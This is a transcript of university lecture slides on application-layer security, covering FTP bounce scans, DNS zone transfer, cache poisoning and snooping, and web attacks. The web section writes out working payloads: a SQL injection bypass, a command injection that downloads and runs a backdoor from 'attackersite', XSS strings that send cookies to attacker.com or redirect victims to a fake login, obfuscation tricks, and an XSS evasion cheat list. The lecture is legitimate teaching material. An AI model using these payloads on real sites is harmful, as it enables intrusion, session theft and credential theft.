Top Banner
NETE4630 1 Application Layer Security Lecture 8 Supakorn Kungpisdan [email protected]
70

Application Layer Security

Jan 16, 2016

Download

Documents

Application Layer Security. Lecture 8 Supakorn Kungpisdan [email protected]. Outline. FTP Security DNS Security Web Application Security. FTP Security Issues. All traffic is transmitted in clear text Weak configuration on FTP allows brute force and dictionary attacks - PowerPoint PPT Presentation
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Application Layer Security

NETE4630 1

Application Layer Security

Lecture 8Supakorn Kungpisdan

[email protected]

Page 2: Application Layer Security

Outline

• FTP Security

• DNS Security

• Web Application Security

NETE46302

Page 3: Application Layer Security

FTP Security Issues

• All traffic is transmitted in clear text• Weak configuration on FTP allows brute force and

dictionary attacks• Anonymous access may be enabled to FTP server• If file permissions are not set, an anonymous user may

be able to read, overwrite, or delete files, leading to loss of confidentiality, integrity, and availability of data

• If anonymous access is being used on a server, make sure that the proper restrictions are enforced for this user

NETE46303

Page 4: Application Layer Security

Active FTP

1. The client connects from a random unprivileged port (N > 1023) to the FTP server's command port, port 21. The client also sends the FTP command PORT N+1 from port N to port 21 at the FTP server. The client then starts listening to port N+1

2. Server returns the response from port 21 to port N at the client

3. The server will then connect back to the client's specified data port from its local data port (port 20) to the client at port N+1

NETE46304

Ref: http://slacksite.com/other/ftp.html

Page 5: Application Layer Security

Firewall VS Active FTP

• From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened: – FTP server's port 21 from anywhere (Client initiates connection) – FTP server's port 21 to ports > 1023 (Server responds to client's

control port) – FTP server's port 20 to ports > 1023 (Server initiates data

connection to client's data port) – FTP server's port 20 from ports > 1023 (Client sends ACKs to

server's data port)

NETE46305

Page 6: Application Layer Security

Active FTP (cont.)

NETE46306

Client port = (14*256)+178 = 3762

debug

Letters in red shows client inputLetters in black shows server output

Page 7: Application Layer Security

Active FTP (cont.)

1. The client's command port contacts the server's command port (port 21) and sends the command PORT 1027 (N+1).

2. The server sends an ACK back from its port 21 to the client's command port (port 1026 port N).

3. the server initiates a connection on its local data port (port 20) to the data port the client specified earlier (port 1027).

4. The client sends an ACK back from port 1027 to the server port 20.

NETE46307

Page 8: Application Layer Security

Problems of Active FTP

• The FTP client doesn't make the actual connection to the data port of the server

• The FTP client simply tells the server what port it is listening on (N+1) and waits for the server to connect back to the specified port on the client.

• From the client-side firewall, this appears to be an outside system initiating a connection to an internal client– This connection may be blocked

• Because the server initiates the data connection, the server may connects to different client

NETE46308

Page 9: Application Layer Security

Passive FTP

• To solve the problem of active FTP, use passive FTP• When opening an FTP connection, the client opens two

random unprivileged ports locally (N>1023 and N+1). • The port N contacts the server on port 21, but instead of

then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command.

• The server then opens a random unprivileged port (P > 1023) and sends the PORT P command back to the client.

• The client then initiates the connection from port N+1 to port P on the server to transfer data.

NETE46309

Page 10: Application Layer Security

Firewall VS Passive FTP

• From the server-side firewall's standpoint, to support passive FTP, the following communication channels need to be opened: – FTP server's port 21 from anywhere (Client initiates connection) – FTP server's port 21 to ports > 1023 (Server responds to client's

control port) – FTP server's ports > 1023 from anywhere (Client initiates data

connection to random port specified by server) – FTP server's ports > 1023 to remote ports > 1023 (Server sends

ACKs (and data) to client's data port)

NETE463010

Page 11: Application Layer Security

Passive FTP (cont.)

NETE463011

Server specifies port number

Page 12: Application Layer Security

Passive FTP

1. The client contacts the server on the command port (port N=1026) and issues the PASV command.

2. The server then replies with PORT 2024, telling the client which port it is listening to for the data connection.

3. The client then initiates the data connection from its data port (N+1=1027) to the specified server data port (port 2024).

4. The server sends back an ACK (from its port 2024) to the client's data port (port 1027).

NETE463012

You can see that client initiates data connection with FTP server will not be blocked by the firewall

Page 13: Application Layer Security

Problems of Passive FTP

• The FTP server needs to allow remote connection to high numbered ports on the server. – Fortunately, many FTP daemons, including the

popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use.

• Some FTP clients do (or do not) support passive mode.

NETE463013

Page 14: Application Layer Security

FTP Bounce Scan

• The FTP bounce attack uses a third workstation to act as a proxy between the nmap host and the destination station.

• With passive FTP, a user could send a PORT command to an FTP server that would direct the data towards a completely different host!

• The FTP bounce attack takes advantage of these poorly-configured FTP servers (no control over ranges of FTP ports)

• The data is BOUNCED from FTP server to target host

NETE463014

Page 15: Application Layer Security

FTP Bounce Scan (cont.)

NETE463015

Closed port

Open port

Page 16: Application Layer Security

Advantages of FTP Bounce Scan

• FTP bounce attack can scan "through" a firewall. • The FTP bounce attack uses standard FTP functionality.

Nmap does not require specialized packet configurations or changes to the FTP protocol.

• Therefore, the FTP bounce attack does not require any privileged access.

NETE463016

Page 17: Application Layer Security

Disadvantages of FTP Bounce Scan

• FTP bounce attack relates to the availability of an FTP server that allows a PORT command to redirect the data connection to a third device.

• Most FTP servers have their default configuration to protect against this use of the PORT command

NETE463017

Page 18: Application Layer Security

Other FTP Bounce Attack

• When using active FTP, a client uses the PORT command to specify the IP address and port number that the server should connect to for data connection

• An attacker with access to an FTP server can bounce through the server by specifying someone else’s IP address

NETE463018

Page 19: Application Layer Security

Outline

• FTP Security

• DNS Security

• Web Application Security

NETE463019

Page 20: Application Layer Security

Domain Name System

• DNS is a distributed database that holds information for mapping between host names to IP addresses

• DNS uses both UDP and TCP.– UDP is typically used for queries, unless the lookup or response

is greater than 512 bytes– TCP is used for lookups and for zone transfer

• Integrity and availability of DNS is critical for the health of the Internet. It is used in conjunction with almost every other protocol on the Internet

• Availability was considered while designing DNS, however, security was not

NETE463020

Page 21: Application Layer Security

DNS Request

NETE463021

Page 22: Application Layer Security

DNS Response

NETE463022

Page 23: Application Layer Security

DNS Lookup Process

NETE463023

Host A’s Authoritative name server

1. Host A sends a request to resolver (at host A). It checks the local cache and may check hosts file

2. The resolver at Host A forwards the request to its authoritative name server

2

Host A

1

Page 24: Application Layer Security

DNS Non-recursive Query

NETE463024

Host A’s Authoritative name server

3. Find the address of authoritative name server of the requested domain and returns its address to the resolver

2

Host A

1

3Host B’s

Authoritative name server

Host B4

5

Page 25: Application Layer Security

DNS Recursive Query

NETE463025

Host A’s Authoritative name server

3. The server finds the address of authoritative name server of the requested domain, passes the request on to the server, and returns a response to the resolver

2

Host A

1

5Host B’s

Authoritative name server

Host B

3

4

Page 26: Application Layer Security

DNS Hierarchy (Recursive Query)

NETE463026

43

5

6

.com TLD server

1

2

7

8

1. Recursive query2. non-recursive query

What happens if (2) is recursive query?

Page 27: Application Layer Security

DNS Utilities

• Most OSes come with a tool called nslookup, capable of querying DNS servers for various types of information

• The dig tool coming with UNIX has similar capabilities

NETE463027

Page 28: Application Layer Security

Name-to-IP Lookup

NETE463028

Page 29: Application Layer Security

MX Lookup with nslookup

NETE463029

Page 30: Application Layer Security

DNS Security Issues

• DNS is lack of authentication and integrity checking• Due to the lack of authentication, attackers can spoof

DNS messages to perform a variety of attacks• Due to the lack of integrity checking, attackers can

intercept and modify messages in transit

NETE463030

Page 31: Application Layer Security

DNS Zone Transfer

• For redundancy, administrators deploy both primary and secondary name servers that contain the same DBs

• To keep the DBs synchronized with the primary name server, the secondary name server periodically connects to the primary name server on port 53/TCP and grabs the DNS records

• This process is called a Zone Transfer

NETE463031

Page 32: Application Layer Security

DNS Information Gathering

• DNS can provide a great deal of information about the target network and its hosts

• One of the common insecure configurations with DNS is allowing anyone to perform zone transfers on one of a domain’s DNS servers

• If an attacker can perform a zone transfer with the primary or secondary name servers for a domain, he/she will be able to view all DNS records for that domain

• See a demo at http://www.mindterra.com/blog/?p=179

• Solved by specifying IP address that is allowed to perform the zone transfer or using Transaction Signature (TSIG)

NETE463032

Page 33: Application Layer Security

DNS Cache Poisoning

• Both DNS client and servers cache responses for a period of time in order to increase performance and reduce network traffic

• If an attacker can spoof a response for a DNS request, he/she may be able to contaminate the DNS cache with an incorrect record

• This process is known as DNS cache poisoning

• The only real defense built into DNS is the use of a random Transaction ID and source port

• Some versions of BIND use Transaction IDs that are not sufficiently random, and some use sequential Transaction IDs

• BIND 9 Cache Poisoning

NETE463033

Page 34: Application Layer Security

DNS Cache Poisoning (cont.)

1. Attacker sends a large number of recursive requests for www.syngress.com to ns.hackthestack.com

2. ns.hackthestack.com forwards the requests to other name servers until it eventually sends the requests to Syngress’s name server ns.syngress.com

3. The ns.hackthestack.com is expecting to receive a large number of replies from ns.syngress.com.

4. Before they arrive, the attacker could flood ns.hackthestack.com with a large number of packets spoofed from ns.syngress.com

5. The attack will be successful if the spoofed packets have the correct combination of TID and port number

NETE463034

Page 35: Application Layer Security

DNS Cache Snooping

• Recursion bit tells the DNS server whether it is recursive or non-recursive query

• The remote DNS server may answer to queries for 3rd party domains which do not have the recursion bit set.

• This may allow a remote attacker to determine which domains have recently been resolved via this name server, and therefore which hosts have been recently visited.

NETE463035

Ref: www.rootsecure.net/content/downloads/pdf/dns_cache_snooping.pdf

Page 36: Application Layer Security

Possible Scenario

• If an attacker was interested in whether your company utilizes the online services of a particular bank, they can use this attack to build a statistical model regarding company usage of the bank mentioned above.

• This attack can also be used to find B2B partners, web-surfing patterns, external mail servers, and more...

• Two techniques are available: using non-recursive queries and using recursive queries

• Some DNS allows both types of queries, but some allows only recursive queries to be made

NETE463036

Page 37: Application Layer Security

DNS Cache Snooping with Non-recursive Queries

NETE463037

Attacker queries to ns1.tvcabo.pt for www.sidestep.pt

ns1.tvcabo.pt does not have the entry in local cache. It returns no answer, but gives a list of .pt TLD name server for further question

Page 38: Application Layer Security

DNS Cache Snooping with Non-recursive Queries (cont.)

• The fact that ns1.tvcabo.pt does not have the entry in local cache means that all hosts under ns1.tvcabo.pt never communicates with www.sidestep.pt before.

• Thus, this organization does not use services provided by www.sidestep.pt

NETE463038

Page 39: Application Layer Security

DNS Cache Snooping with Non-recursive Queries (cont.)

• If the attacker executes the same query, check the response

NETE463039

For this time, ns1.tvcabo.pt caches the entry, so it returns the answer

Page 40: Application Layer Security

DNS Cache Snooping with Recursive Queries

• Used to determine with some degree of precision (not 100% sure) whether a given record is present in the cache

• However, this will pollute the cache• If a given record is not present in the cache, it will be

after the first query is made• This is because recursive query will always return the

answer for the given record

NETE463040

Page 41: Application Layer Security

DNS Cache Snooping with Recursive Queries

• Try to see if www.sidestep.pt was cached in ns1.tvcabo.pt• Query ns1.tvcabo.pt for www.sidestep.pt and record the TTL

NETE463041

Page 42: Application Layer Security

DNS Cache Snooping with Recursive Queries (cont.)

• Then query to ns.sidestep.pt (Sidestep.com’s authoritative DNS) for www.sidestep.com and compare TTL

NETE463042

Page 43: Application Layer Security

DNS Cache Snooping with Recursive Queries (cont.)

• TTL for www.sidestep.pt at ns1.tvcabo.pt (6458) is much lower than the initial TTL (86400) (the TTL at ns.sidestep.pt)

• This is a good indicator that the answer was already cached at ns1.tvcabo.pt

• Another way to look for cached responses is to observe the time that the query takes to process.

• If the query time is approximately equal to the round trip time (RTT) of a packet to the server, then the answer might have been already present in the cache.

NETE463043

Page 44: Application Layer Security

A Safer BIND Configuration

NETE463044

Page 45: Application Layer Security

Outline

• FTP Security

• DNS Security

• Web Application Security

NETE463045

Page 46: Application Layer Security

Attacking Web Applications

• The majority of vulnerabilities are caused by a lack of proper input validation by the application before processing user-supplied data

• This can allow attackers to disclose information about the site, steal information from backend DBs, or execute binary code on the web server

S. Kungpisdan46ITEC5611

Page 47: Application Layer Security

SQL Injection

• Many web applications rely on backend DBs for information storage and retrieval.

• Sometimes a script will perform a DB query using input supplied from a web page, without verifying that the input does not contain any escape characters

• Consider the following:

• Query = “SELECT * FROM users WHERE username = ‘{$_POST[‘user’]}’ AND password = ‘{$_POST[‘pass’]}’ ”;

• “SELECT * FROM users WHERE username = ‘bob’ AND password = ‘ ’ OR 1=1 ’’;

S. Kungpisdan47ITEC5611

Page 48: Application Layer Security

Code Injection

• Sometimes user-supplied strings are not properly checked for escape characters before being passed to commands as arguments

• Consider a PHP script that takes a string supplied from web page form and passes it to the nslookup utility

S. Kungpisdan48ITEC5611

Page 49: Application Layer Security

Code Injection (cont.)

• If supply ;ls –la/, the script will execute the command nslookup;ls –la/, resulting in a listing of the root directory being printed out

S. Kungpisdan49ITEC5611

Page 50: Application Layer Security

Code Injection (cont.)

• wget and perl commands could be used to download and run a backdoor on the web server by supplying the following line to the script

• ;wget http://attackersite/backdoor.pl;perl backdoor.pl

S. Kungpisdan50ITEC5611

Page 51: Application Layer Security

Cross-Site Scripting (XSS)

• XSS vulnerabilities allow attackers to inject code or HTML into a web page that will be executed when a different user visits that page

• These attacks target visitors to a web site, not the site itself, and occur when a web page does not properly sanitize user input before using it in output

• Vulnerable websites is possible to execute HTML and JavaScript codes from a not sanitized form

• It's possible to steal cookies or to redirect web pages to build fake login in order to steal login usernames and passwords.

S. Kungpisdan51ITEC5611

Page 52: Application Layer Security

Types of XSS

• DOM-Based XSS • Non-persistent XSS • Persistent XSS

S. Kungpisdan52

Ref: http://www.milw0rm.com/papers/146http://en.wikipedia.org/wiki/Cross_Site_Scripting

ITEC5611

Page 53: Application Layer Security

DOM-based XSS

• DOM-based or Type 0 or local XSS vulnerability is based on the standard object model for representing HTML or XML called the Document Object Model or DOM for short.

• The DOM-Based XSS allows to an attacker to work not on a victim website but on a victim local machine

• The attacker tricks an innocent user to visit his/her web site and download a vulnerable web page with embedded malicious script.

• Such script allows the attack gain control over the victim’s machine

S. Kungpisdan53ITEC5611

Page 54: Application Layer Security

Exploit Scenario

1. Mallory sends the URL of a maliciously constructed web page to Alice, using email or another mechanism.

2. Alice clicks on the link.

3. The malicious web page's JavaScript opens a vulnerable HTML page installed locally on Alice's computer.

4. The vulnerable HTML page contains JavaScript which executes in Alice's computer's local zone.

5. Mallory's malicious script now may run commands with the privileges Alice holds on her own computer.

S. Kungpisdan54ITEC5611

Page 55: Application Layer Security

DOM-based XSS (cont.)

• Really dangerous because it operates on the victim system strictly and as long as the user doesn't look after his/her security issues and doesn't apply updates, the DOM-Based XSS will work fine.

• Solution:– Do not visit untrusted website – Keep your system up to date

S. Kungpisdan55ITEC5611

Page 56: Application Layer Security

Non-persistent XSS

• The non-persistent or Type 1 XSS or reflected XSS vulnerability, and is by far the most common type.

• It shows up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user.

• If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page

S. Kungpisdan56ITEC5611

Page 57: Application Layer Security

Non-persistent XSS: Search Engine

• Attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.

• If this happens at 99% the Search engine will execute also JavaScript arbitrary code.

S. Kungpisdan57ITEC5611

Page 58: Application Layer Security

Example

1. Assure that a website works like this: http://www.example.com/search.php?text=TEXTTOSEARCH

2. Try to include some HTML tags in the "text" variable: http://www.example.com/search.php?text=<img src="http://attacker.com/image.jpg">

If the website is vulnerable it will display the attacker's image into the result webpage.

S. Kungpisdan58ITEC5611

Page 59: Application Layer Security

Example (cont.)

3. Try then to write some JavaScript code: http:///www.example.com/search.php?text=<script>alert(document.cookie)</script>

Probably the website will return an alert popup with the current Cookie for the site itself.

S. Kungpisdan59ITEC5611

Page 60: Application Layer Security

Example (cont.)

• This vulnerability can be used by the attacker to steal information to users of the victim website providing them for example an email with an URL like: http://www.victim.com/search.php?text=MALICIOUSCODE

• To make that URL less suspicious it will be useful to encode the code in URL Hex valueFor example the code: <script>alert("XSS")</script> Encoded will look like: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3B%3C %2F%73%63%72%69%70%74%3E

S. Kungpisdan60ITEC5611

Page 61: Application Layer Security

Example (cont.)

• And as comes the malicious url will turn from:

http://www.victim.com/search.php?text=<script>alert("XSS")</script>

Into: http://www.victim.com/search.php?text=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22 %58%53%53%22%29%3B%3C%2F%73%63%72%69%70%74%3E

Which, for a clueless user, it's lot less suspicious than the first one.

S. Kungpisdan61ITEC5611

Page 62: Application Layer Security

Example (cont.)

1. The attacker realizes that the victim website is vulnerable to XSS

2. The attacker creates on his website an ad-hoc page which is used to steal sensible information, e.g. Cookies, or to make a fake login of the victim website.

3. The attacker provides to a user a crafted URL containing a malicious code like:

http://www.victim.com/search.php?text= <script>document.location("http://attackersite.com/fakelogin.php")</script>

Encoded in Hex.

4. The user visits the web page and is obscurely redirect the attacker's fakelogin

5. The user is invited to log into the system and he does.

6. The fake login steals the username and password of the victim.

S. Kungpisdan62ITEC5611

Page 63: Application Layer Security

Persistent XSS

• The persistent XSS is similar to non-persistent XSS – Both works on a victim site and tries to hack user information

• However, attacker doesn't need to provide the crafted URL to the users

• Because the website itself permits to users to insert fixed data into the system– This is the case for example of "guestbooks"

• Usually the users use that kind of tool to leave messages to the owner of the website

• An attacker can insert some malicious code in his message and let ALL visitors to be victim of that.

S. Kungpisdan63ITEC5611

Page 64: Application Layer Security

Exploit Scenario

1. Bob hosts a web site allowing users to post messages and other content to the site for later viewing by other members.

2. Mallory notices that Bob's website is vulnerable to a type 2 XSS attack.

3. Mallory posts a message, controversial in nature, which may encourage many other users of the site to view it.

4. Upon merely viewing the posted message, site users' session cookies or other credentials could be taken and sent to Mallory's web server without their knowledge.

5. Later, Mallory logs in as other site users and posts messages on their behalf....

S. Kungpisdan64ITEC5611

Page 65: Application Layer Security

Exploit Scenario (cont.)

• This works when the tool provided (the guestbook in the example) doesn't do any check on the content of the inserted message: it just inserts the data provided from the user into the result page.

• The attacker could easily insert as much code as he wants into the tool, for example:

<img src="javascript:document.location ('http://attacker.com/steal.php?cookie=' . encodeURI(document.cookie));">

This allows the attacker to steal the cookie of the victim user.

S. Kungpisdan65ITEC5611

Page 66: Application Layer Security

More about XSS

• In order to make the attack less suspicious it's possible to "obfuscate" the IP address of the attacker's website, encoding the IP address with three formats: – Dword Address

– Hex Address

– Octal Address

• For example the IP address 127.0.0.1 will look like: – Dword: 2130706433 – Hex: 0x7f.0x00.0x00.0x01 – Octal: 0177.0000.0000.0001

• Try for example: http://0x7f.0x00.0x00.0x01/ and it will open your localhost web server.

S. Kungpisdan66ITEC5611

Page 67: Application Layer Security

Possible XSS Cheats

• <IMG SRC="javascript:alert('XSS');"> • <IMG SRC=javascript:alert('XSS')> • <IMG

SRC=&#x22;&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74; &#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x50;&#x4C;&#x41;&#x59;&#x48; &#x41;&#x43;&#x4B;&#x2E;&#x4E;&#x45;&#x54;&#x27;&#x29;&#x22;>

• <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"> • <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT> • <<SCRIPT>alert("XSS");//<</SCRIPT> • <iframe src=http://example.com/scriptlet.html < • <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> • <BODY BACKGROUND="javascript:alert('XSS')"> • <BODY ONLOAD=alert(document.cookie)> • <IMG DYNSRC="javascript:alert('XSS')">

S. Kungpisdan67ITEC5611

Page 68: Application Layer Security

Possible XSS Cheats (cont.)

• <IMG DYNSRC="javascript:alert('XSS')"> <BR SIZE="&{alert('XSS')}">

• <IMG SRC='vbscript:msgbox("XSS")'> • <TABLE BACKGROUND="javascript:alert('XSS')"> • <DIV STYLE="width: expression(alert('XSS'));"> • <DIV STYLE="background-image:

url(&#1;javascript:alert('XSS'))"> • <STYLE TYPE="text/javascript">alert('XSS');</STYLE> • <STYLE

type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

• <?='<SCRIPT>alert("XSS")</SCRIPT>'?> • <A

HREF="javascript:document.location='http://www.example.com/'">XSS</A>

S. Kungpisdan68ITEC5611

Page 69: Application Layer Security

Information Disclosure

• An error page can discloses the path of the web server’s root directory

• The path disclosure can aid attackers performing reconnaissance on the site

• phpinfo.php, part of a default PHP install, is a script providing the OS and software version on the host and other related information

• Google for inurl:phpinfo.php to see exactly how much information is leaked

S. Kungpisdan69ITEC5611

Page 70: Application Layer Security

NETE4630 70

Question?